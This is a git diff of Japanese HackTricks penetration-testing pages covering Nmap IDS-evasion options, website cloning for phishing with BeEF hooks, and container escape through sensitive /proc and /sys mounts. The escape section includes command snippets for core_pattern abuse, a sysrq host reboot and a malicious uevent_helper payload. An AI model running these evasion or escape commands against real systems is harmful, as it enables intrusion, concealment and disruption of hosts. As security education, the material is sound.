並列スキャンの数を制御できますが、推奨されませんNmapはネットワークの状態に基づいて自動制御を組み込んでいます):**--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
並列スキャンの数を制御できますが、推奨されませんNmapはネットワークの状態に基づいて自動的に制御します): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
RTTタイムアウトを変更できますが、通常は必要ありません:**--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
RTTタイムアウトを変更できますが、通常は必要ありません: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
試行回数を変更できます:**--max-retries** _**\<numtries>**_
ホストのスキャン時間を変更できます:**--host-timeout** _**\<time>**_
ホストのスキャン時間を変更できます: **--host-timeout** _**\<time>**_
各テスト間の時間を遅くするためにスキャン遅延を変更できます:**--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
各テスト間の時間を遅くするためにスキャン遅延を変更できます: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
秒間のパケット数を変更できます:**--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
秒間のパケット数を変更できます: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
多くのポートはフィルタリングされているか閉じられているため、応答に時間がかかる場合があります。開いているポートのみに興味がある場合は、次のオプションを使用して高速化できます:**--defeat-rst-ratelimit**
多くのポートはフィルタリングされているか閉じられているため、応答に時間がかかる場合があります。開いているポートのみに興味がある場合は、次のオプションを使用して高速化できます: **--defeat-rst-ratelimit**
Nmapの攻撃の強度を定義するには: -T paranoid|sneaky|polite|normal|aggressive|insane
\-T (0-5)
\-T (0-1)
\-T0 --> 1度に1つのポートのみをスキャンし、次のポートまで5分待機します
\-T1およびT2 --> 非常に似ていますが、それぞれ15秒と0.4秒待機します
\-T1およびT2 --> ほぼ同じですが、それぞれ15秒と0.4秒待機します
\-T3 --> デフォルトの動作で、並列処理を含みます
@ -153,19 +153,19 @@ Nmapの攻撃の強度を定義するには: -T paranoid|sneaky|polite|normal|ag
**ファイアウォール/IDS**
ポートを通さずパケットを分析します。
ポートを通パケットを分析します。
**-f** パケットをフラグメント化するために使用され、デフォルトではヘッダーの後に8バイトでフラグメント化されます。特定のサイズを指定するには..mtuを使用しますこれを使用すると-fを使用しないでください、オフセットは8の倍数である必要があります。**バージョンスキャナーやスクリプトはフラグメンテーションをサポートしていません**
**-D decoy1,decoy2,ME** Nmapは他のIPアドレスを送信元として使用してスキャンを実行します。MEをリストに含めると、NmapはそのIPアドレスを使用します。完全にマスクするためには、自分の前に5つまたは6つのデコイを置くと良いでしょう。RND:\<number>を使用してランダムなIPを生成できます。TCP接続のないバージョン検出とは互換性がありません。ネットワーク内にいる場合は、アクティブなIPを使用すると良いでしょう。そうしないと、あなたが唯一アクティブなIPであることが非常に簡単に特定されます。
**-D decoy1,decoy2,ME** Nmapは他のIPアドレスを送信元として使用してスキャンを実行します。MEをリストに含めると、NmapはそのIPアドレスを使用します。完全にマスクするためには、自分の前に5つまたは6つのデコイを置くと良いでしょう。RND:\<number>を使用してランダムなIPを生成できます。TCP接続のないバージョン検出とは互換性がありません。ネットワーク内にいる場合は、アクティブなIPを使用すると良いでしょう。そうしないと、あなたが唯一アクティブなことが非常に簡単に特定されます。
ランダムなIPを使用するには: nmap-D RND: 10 Ip\_target
ランダムなIPを使用するには: nmap-D RND: 10 Ip_target
**-S IP** NmapがあなたのIPアドレスを取得できない場合は、このオプションで指定する必要があります。また、他の目標がスキャンしているかのように見せるためにも使用できます。
**-S IP** NmapがあなたのIPアドレスを取得できない場合に使用します。また、他の目標がスキャンされていると思わせるためにも使用できます。
**-e \<interface>** インターフェースを選択するために使用します
多くの管理者は、すべてが正常に機能するように入力ポートを開いたままにしておくことを好み、他の解決策を探すよりも簡単です。これらはDNSやFTPポートなどである可能性があります。この脆弱性を検索するためにNmapには次のオプションが組み込まれています: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _同等です_
多くの管理者は、すべてが正常に機能するように入力ポートを開いたままにしておくことを好み、他の解決策を探すよりも簡単です。これらはDNSポートやFTPポートなどである可能性があります。この脆弱性を検索するためにNmapには次のものが組み込まれています: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _同等です_
**--data** _**\<hex string>**_ ヘキサ文字列を送信するために: --data 0xdeadbeef および --data \xCA\xFE\x09
@ -175,14 +175,14 @@ Nmapの攻撃の強度を定義するには: -T paranoid|sneaky|polite|normal|ag
IPパケットを完全に構成するには**--ip-options**を使用します
送信および受信されるパケットのオプションを表示する場合は、--packet-traceを指定します。IPオプションを使用したNmapの詳細と例については、[http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52)を参照してください。
送信および受信されるパケットのオプションを表示するは、--packet-traceを指定します。IPオプションを使用したNmapの詳細と例については、[http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52)を参照してください。
**--ttl** _**\<value>**_
**--randomize-hosts** 攻撃をより明白にしないために使用します
**--randomize-hosts** 攻撃をより明白にしないために
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ MACアドレスを変更するために使用します。例: Apple、0、01:02:03:04:05:06、deadbeefcafe、0020F2、Cisco
**--proxies** _**\<Comma-separated list of proxy URLs>**_ プロキシを使用するには、nmapが必要とするよりも少ない接続を維持するプロキシがあるため、並列処理を変更する必要があります: --max-parallelism
**--proxies** _**\<プロキシURLのカンマ区切りリスト>**_ プロキシを使用する場合、nmapが必要とするよりもプロキシが開いている接続が少ないことがあるため、並列処理を変更する必要があります: --max-parallelism
**-sP** ARPによるネットワーク内のホストの検出
@ -194,7 +194,7 @@ IPパケットを完全に構成するには**--ip-options**を使用します
**-oX file** XML出力
**-oS file** スクリプトキディ出力
**-oS file** スクリプトキディ出力
**-oG file** grepable出力
@ -210,7 +210,7 @@ IPパケットを完全に構成するには**--ip-options**を使用します
**--packet-trace** 送信されるパケットを表示するために、--version-traceや--script-traceなどのフィルタを指定できます
**--open** 開いている、開いている|フィルタされている、フィルタされていないものを表示
**--open** 開いている、開いている|フィルタ済み、フィルタされていないものを表示
**--resume file** サマリを出力
@ -236,7 +236,7 @@ p / P パケットトレースをオン/オフ
nmapのスクリプトで、オフラインのデータベース非常に重要な他のデータベースからダウンロードされるで取得したサービスのバージョンを調べ、可能な脆弱性を返します
使用するデータベースは次のとおりです:
使用するデータベース:
1. Scipvuldb.csv | [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
2. Cve.csv | [http://cve.mitre.org](http://cve.mitre.org/)
@ -261,8 +261,26 @@ wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar
## Nmapサービススキャンを16倍高速化
[**この投稿**](https://joshua.hu/nmap-speedup-service-scanning-16x)によると、**`/usr/share/nmap/nmap-service-probes`**内のすべての**`totalwaitms`**値を**300**、**`tcpwrappedms`**を**200**に変更することで、nmapサービス解析を高速化できます。
[**この投稿**](https://joshua.hu/nmap-speedup-service-scanning-16x)によると、**`/usr/share/nmap/nmap-service-probes`**内のすべての**`totalwaitms`**値を**300**、**`tcpwrappedms`**を**200**に変更することで、nmapサービス解析を高速化できます。
さらに、明示的に定義されていない**`servicewaitms`**を持たないプローブは、デフォルト値**`5000`**を使用します。したがって、各プローブに値を追加するか、**`service_scan.h`**でデフォルト値を変更するためにnmapを**コンパイル**することができます。
さらに、に定義されていない**`servicewaitms`**を持たないプローブは、デフォルト値**`5000`**を使用します。したがって、各プローブに値を追加するか、**`service_scan.h`**でデフォルト値を変更して**nmapをコンパイル**することができます。
`/usr/share/nmap/nmap-service-probes`ファイルの**`totalwaitms`**および**`tcpwrappedms`**の値を一切変更したくない場合は、`nmap-service-probes`ファイル内のこれらの値が完全に無視されるように[解析コード](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358)を編集できます。
**`/usr/share/nmap/nmap-service-probes`**ファイルの**`totalwaitms`**および**`tcpwrappedms`**の値を一切変更したくない場合は、**`nmap-service-probes`**ファイル内のこれらの値が完全に無視されるように**解析コード**を編集できます。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>と!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -2,17 +2,17 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricks をサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**し、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリに提出してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -22,34 +22,13 @@ HackTricksをサポートする他の方法
クローンされたウェブサイトにBeEFフックなどのペイロードを追加することもできることに注意してください。これにより、ユーザーのタブを「制御」することができます。
この目的で使用できるさまざまなツールがあります:
この目的のために使用できるさまざまなツールがあります:
## wget
```text
wget -mk -nH
```
## goclone
### 概要
`goclone`は、指定されたURLからウェブサイトをクローンするためのツールです。このツールは、指定されたURLからHTML、CSS、JavaScript、画像などのリソースをダウンロードし、ローカルに保存します。これにより、クローンしたウェブサイトをオフラインで閲覧したり、改ざんしたりすることが可能になります。
### 使用法
```bash
goclone -url <target_url> -output <output_directory>
```
- `-url`: クローンしたいウェブサイトのURLを指定します。
- `-output`: クローンしたファイルを保存するディレクトリを指定します。
### 例
```bash
goclone -url https://www.example.com -output /path/to/output_directory
```
このコマンドは、`https://www.example.com`からウェブサイトをクローンし、`/path/to/output_directory`に保存します。
```bash
#https://github.com/imthaghost/goclone
goclone <url>
@ -58,21 +37,21 @@ goclone <url>
```bash
#https://github.com/trustedsec/social-engineer-toolkit
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする**
* **ハッキングトリックを共有する** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出してください。
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見す
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する。**
</details>

View file

@ -2,37 +2,37 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
`/proc`および`/sys`の適切な名前空間分離なしでの公開は、攻撃面の拡大や情報漏洩など、重大なセキュリティリスクをもたらします。これらのディレクトリには機密ファイルが含まれており、誤って構成されたり、権限のないユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助長する情報が提供される可能性があります。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、パスベースの性質によりAppArmor保護がバイパスされ、`/host/proc`が保護されなくなります。
`/proc`および`/sys`の公正な名前空間分離なしでの公開は、攻撃面の拡大や情報漏洩など、重大なセキュリティリスクをもたらします。これらのディレクトリには機密ファイルが含まれており、誤って構成されたり、権限のないユーザーによってアクセスされたりすると、コンテナの脱出、ホストの変更、またはさらなる攻撃を助長する情報が提供される可能性があります。たとえば、`-v /proc:/host/proc`を誤ってマウントすると、パスベースの性質によりAppArmor保護がバイパスされ、`/host/proc`が保護されなくなります。
**各潜在的な脆弱性の詳細は、[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)で見つけることができます。**
**各潜在的な脆弱性の詳細は** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**で見つけることができます。**
## procfsの脆弱性
### `/proc/sys`
このディレクトリは通常`sysctl(2)`を介してカーネル変数を変更するためのアクセスを許可し、いくつかの懸念のあるサブディレクトリが含まれています。
このディレクトリは通常`sysctl(2)`を介してカーネル変数を変更することを許可し、いくつかの懸念のサブディレクトリを含んでいます。
#### **`/proc/sys/kernel/core_pattern`**
* [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)で説明されています。
* 最初の128バイトを引数として使用してコアファイル生成時に実行するプログラムを定義できます。ファイルがパイプ`|`で始まる場合、コードの実行につながる可能性があります。
* **テストおよび悪用例**
- [core(5)](https://man7.org/linux/man-pages/man5/core.5.html)で説明されています。
- 最初の128バイトを引数として使用してコアファイル生成時に実行するプログラムを定義できます。ファイルがパイプ`|`で始まる場合、コードの実行につながる可能性があります。
- **テストおよび悪用例**
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # 書き込みアクセスをテスト
@ -43,9 +43,9 @@ sleep 5 && ./crash & # ハンドラをトリガー
#### **`/proc/sys/kernel/modprobe`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細に説明されています。
* カーネルモジュールローダーへのパスを含み、カーネルモジュールの読み込み時に呼び出されます。
* **アクセスの確認例**
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細に説明されています。
- カーネルモジュールローダーへのパスを含み、カーネルモジュールの読み込み時に呼び出されます。
- **アクセスの確認例**
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認
@ -53,33 +53,33 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobeへのアクセスを確認
#### **`/proc/sys/vm/panic_on_oom`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で言及されています。
* OOM条件が発生したときにカーネルがパニックするかOOMキラーを呼び出すかを制御するグローバルフラグです。
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で言及されています。
- OOM条件が発生したときにカーネルがパニックするかOOMキラーを呼び出すかを制御するグローバルフラグです。
#### **`/proc/sys/fs`**
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)によると、ファイルシステムに関するオプションと情報が含まれています。
* 書き込みアクセスはホストに対するさまざまなサービス拒否攻撃を有効にする可能性があります。
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)によると、ファイルシステムに関するオプションと情報が含まれています。
- 書き込みアクセスはホストに対するさまざまなサービス拒否攻撃を有効にする可能性があります。
#### **`/proc/sys/fs/binfmt_misc`**
* マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録することができます。
* `/proc/sys/fs/binfmt_misc/register`が書き込み可能である場合、特権昇格やルートシェルアクセスにつながる可能性があります。
* 関連する悪用と説明:
* [binfmt\_miscを使用した貧しいrootkit](https://github.com/toffan/binfmt\_misc)
* 詳細なチュートリアル:[ビデオリンク](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- マジックナンバーに基づいて非ネイティブバイナリ形式のインタプリタを登録することを可能にします。
- `/proc/sys/fs/binfmt_misc/register`が書き込み可能である場合、特権昇格やルートシェルアクセスにつながる可能性があります。
- 関連するエクスプロイトと説明:
- [binfmt\_miscを使用した貧しいrootkit](https://github.com/toffan/binfmt\_misc)
- 詳細なチュートリアル:[ビデオリンク](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### `/proc`のその他のファイル
### `/proc`のその他
#### **`/proc/config.gz`**
* `CONFIG_IKCONFIG_PROC`が有効になっている場合、カーネル構成を公開する可能性があります。
* 実行中のカーネルの脆弱性を特定するために攻撃者に役立ちます。
- `CONFIG_IKCONFIG_PROC`が有効になっている場合、カーネル構成を明らかにする可能性があります。
- 実行中のカーネルの脆弱性を特定するために攻撃者に役立ちます。
#### **`/proc/sysrq-trigger`**
* Sysrqコマンドを呼び出すことを許可し、即座のシステム再起動やその他の重要なアクションを引き起こす可能性があります。
* **ホストの再起動例**
- Sysrqコマンドを呼び出すことを許可し、即座のシステム再起動やその他の重要なアクションを引き起こす可能性があります。
- **ホストの再起動例**
```bash
echo b > /proc/sysrq-trigger # ホストを再起動
@ -87,56 +87,56 @@ echo b > /proc/sysrq-trigger # ホストを再起動
#### **`/proc/kmsg`**
* カーネルリングバッファメッセージを公開します。
* カーネルの悪用、アドレスリーク、および機密システム情報の提供に役立ちます。
- カーネルリングバッファメッセージを公開します。
- カーネルのエクスプロイト、アドレスリーク、および機密システム情報の提供に役立ちます。
#### **`/proc/kallsyms`**
* カーネルがエクスポートしたシンボルとそのアドレスをリストします。
* 特にKASLRを克服するためにカーネル悪用の開発に不可欠です。
* `kptr_restrict`が`1`または`2`に設定されていると、アドレス情報が制限されます。
* 詳細は[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)に記載されています。
- カーネルがエクスポートしたシンボルとそのアドレスをリストします。
- 特にKASLRを克服するためにカーネルエクスプロイトの開発に不可欠です。
- アドレス情報は、`kptr_restrict`が`1`または`2`に設定されている場合に制限されます。
- 詳細は[proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)にあります。
#### **`/proc/[pid]/mem`**
* カーネルメモリデバイス`/dev/mem`とやり取りします。
* 歴史的に特権昇格攻撃の脆弱性がありました。
* [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細に説明されています。
- カーネルメモリデバイス`/dev/mem`とのインターフェースです。
- 歴史的に特権昇格攻撃の脆弱性がありました。
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)で詳細に説明されています。
#### **`/proc/kcore`**
* ELFコア形式でシステムの物理メモリを表します。
* 読み取りによりホストシステムおよび他のコンテナのメモリ内容が漏洩する可能性があります。
* ファイルサイズが大きいと読み取りに問題が生じたり、ソフトウェアのクラッシュが発生したりする可能性があります。
* 2019年の[Dumping /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)での詳細な使用法。
- ELFコア形式でシステムの物理メモリを表します。
- 読み取りはホストシステムおよび他のコンテナのメモリ内容を漏洩させる可能性があります。
- 大きなファイルサイズは読み取りの問題やソフトウェアのクラッシュを引き起こす可能性があります。
- 2019年の[Dumping /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)での詳細な使用法。
#### **`/proc/kmem`**
* カーネル仮想メモリを表す`/dev/kmem`の代替インターフェースです。
* 読み取りおよび書き込みが可能であり、したがってカーネルメモリの直接変更が可能です。
- カーネル仮想メモリを表す`/dev/kmem`の代替インターフェースです。
- 読み取りと書き込みを許可し、したがってカーネルメモリの直接的な変更を可能にします。
#### **`/proc/mem`**
* 物理メモリを表す`/dev/mem`の代替インターフェースです。
* 読み取りおよび書き込みが可能であり、すべてのメモリの変更には仮想から物理アドレスへの解決が必要です。
- 物理メモリを表す`/dev/mem`の代替インターフェースです。
- 読み取りと書き込みを許可し、すべてのメモリの変更には仮想から物理アドレスを解決する必要があります。
#### **`/proc/sched_debug`**
* PID名前空間の保護をバイパスしてプロセススケジューリング情報を返します。
* プロセス名、ID、およびcgroup識別子を公開します。
- PID名前空間の保護をバイパスしてプロセススケジューリング情報を返します。
- プロセス名、ID、およびcgroup識別子を公開します。
#### **`/proc/[pid]/mountinfo`**
* プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。
* コンテナの`rootfs`またはイメージの場所を公開します。
- プロセスのマウント名前空間内のマウントポイントに関する情報を提供します。
- コンテナの`rootfs`またはイメージの場所を公開します。
### `/sys`の脆弱性
#### **`/sys/kernel/uevent_helper`**
* カーネルデバイス`uevents`を処理するために使用されます。
* `/sys/kernel/uevent_helper`に書き込むと、`uevent`トリガー時に任意のスクリプトが実行される可能性があります。
* **悪用の例**: %%%bash
- カーネルデバイス`uevents`を処理するために使用されます。
- `/sys/kernel/uevent_helper`に書き込むと、`uevent`トリガー時に任意のスクリプトを実行できます。
- **悪用の例**: %%%bash
### ペイロードを作成
@ -148,18 +148,18 @@ host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
### uevent\_helperを悪意のあるヘルパーに設定
echo "$host\_path/evil-helper" > /sys/kernel/uevent_helper
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
### ueventをトリガー
echo change > /sys/class/mem/null/uevent
### 出力を読み取る
### 出力を読
cat /output %%%
#### **`/sys/class/thermal`**
* 温度設定を制御し、DoS攻撃や物理的損を引き起こす可能性があります。
* 温度設定を制御し、DoS攻撃や物理的損を引き起こす可能性があります。
#### **`/sys/kernel/vmcoreinfo`**
@ -167,10 +167,10 @@ cat /output %%%
#### **`/sys/kernel/security`**
* `securityfs` インターフェースを収容し、AppArmorなどのLinuxセキュリティモジュールの構成を可能にします。
* アクセスすることで、コンテナがMACシステムを無効にする可能性があります。
* `securityfs` インターフェースを収容し、AppArmorのようなLinuxセキュリティモジュールの構成を可能にします。
* アクセスすることで、コンテナが自身のMACシステムを無効にする可能性があります。
#### **`/sys/firmware/efi/vars`** および **`/sys/firmware/efi/efivars`**
#### **`/sys/firmware/efi/vars` および `/sys/firmware/efi/efivars`**
* NVRAM内のEFI変数とやり取りするためのインターフェースを公開します。
* 誤った構成や悪用により、ブリック化したノートパソコンや起動不能なホストマシンにつながる可能性があります。
@ -186,7 +186,7 @@ cat /output %%%
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -2,28 +2,27 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>から<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するは、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
